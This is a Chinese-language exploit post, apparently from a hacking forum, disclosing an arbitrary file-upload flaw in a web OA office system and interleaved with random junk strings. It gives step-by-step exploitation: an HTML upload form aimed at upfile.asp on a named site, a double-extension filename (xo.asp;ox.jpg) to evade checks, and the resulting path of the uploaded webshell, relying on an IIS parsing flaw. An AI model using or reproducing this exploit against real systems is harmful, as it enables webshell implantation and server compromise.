全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
5 h1 q* s0 S& A. \; r​
. t( x: f' ?' T9 P  r系统介绍：
  J( A% s% U& e4 ~- k
$ t- A, W! Q! m# ]2 _: h全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
: y0 o) C9 U) ^
1 l2 C; o% y# {/ e主要功能：
公司通告
6 z/ M' H- S' j+ [工作计划
( v/ Z4 d, B9 c, ?通讯助理
客户资源
$ y& H" N* p/ |# o, I我的公文
公文传阅
公共资源
6 {' f3 [% y/ a) l! {7 J资源预约
2 j) q) x9 ]! F( x# T今日考勤
个人计划
' x" D6 Y# ~& q0 K# E个人通讯录
9 t% H( U, y* t个人基本档案
未读邮件
发邮件
收件夹
* c: p! w" q6 B& d* h0 `9 e* ~寄件夹
网络硬盘
; f7 y8 p' }2 M% J0 ?网络会议
网络调查
交流论坛
5 d9 l9 J4 m0 G7 n
有兴趣测试的朋友可以下源码看看

8 P3 x2 D/ Q. R2 k% Z3 A源码下载：

http://www.mycodes.net/30/4750.htm
- B! x1 o! u, i0 U' W( T
漏洞介绍：

由upfile.asp上传文件漏洞引起
' |$ @6 v* Q3 V6 B" Z
* j" @0 Z4 c, e0 I测试方法：
, ~5 C* ?" u/ c4 F+ k
, \9 |, Z9 ?3 @1 L/ N: A使用名小子上传http://www.itlynn.com/upfile.asp即可
4 u2 |, L+ B0 u% L5 i0 z& q
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
, l5 L1 d0 n7 \  B2 o
如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
3 i9 ~0 W/ z+ x" l5 R


/ j7 b3 i& ^* J' e1 T01 <table border='0' align="center" cellpadding="5">
! H7 i1 P/ M: b+ [3 J
7 Y! q3 }7 }+ i' L# ]" @/ P4 H02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
( Y6 T- L7 j1 w/ M, M' M0 {( u
03 <tr>
3 F8 t0 y$ U- }* Z7 Z7 R
04             <td>报错：</td>

+ k: j4 `2 {6 i( O05             <td><input type='radio' name='errnumber' value='0'>
7 s& }) E2 R# h- \" R/ V$ g
3 p* z; t. E  Y4 F06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>
. s1 F- L! |+ E( b# R4 O
% Q2 c6 T9 W+ \. y0 _4 u08               报错方式

! V) s- e) N/ U09               <input type='radio' name='errnumber' value='2'>
7 [& J; V/ E4 E- V
10               直接覆盖</td>
( l3 f$ o) p4 o5 u7 Z
" k' `. K! n  A; @11           </tr>
! T4 w% n- t: T7 \, s, S9 N
12           <tr>
% f* g1 }% z* \+ b( `0 w
13             <td>主题：</td>
/ j6 ~6 e" r; Z8 N" d
14             <td><input type='text' name='filename' size='30'></td>
! l6 u/ c* I6 l- a3 A( H9 ?) k
+ M& l* m" C# i# a0 u9 U15           </tr>

16           <tr>

17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
- Q+ n) \, k( s+ \
20           <tr>
+ S# T8 c6 t1 F3 y
21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
/ a0 f- f7 Q6 w( }% ^. }! q
23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
: Q  I; f' [8 v! O  c/ {; W
26           </tr>
4 ^5 R8 K1 L0 v0 R; ~& g/ q6 |8 S
& E9 ^* J3 e. u0 \# W  z; \27         </form>
% q6 Q. X( D3 Q3 R1 n6 c
. v3 V; W  z0 a7 o3 Z# _' @, N& W0 L然后打开上传一个文件名为xo.asp;ox.jpg的文件。
. v* y3 H9 c, R- j, L4 K


上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
' T- M( E& G! \: C3 l8 w1 G; y3 n- e. M
此漏洞需要配合解析漏洞利用。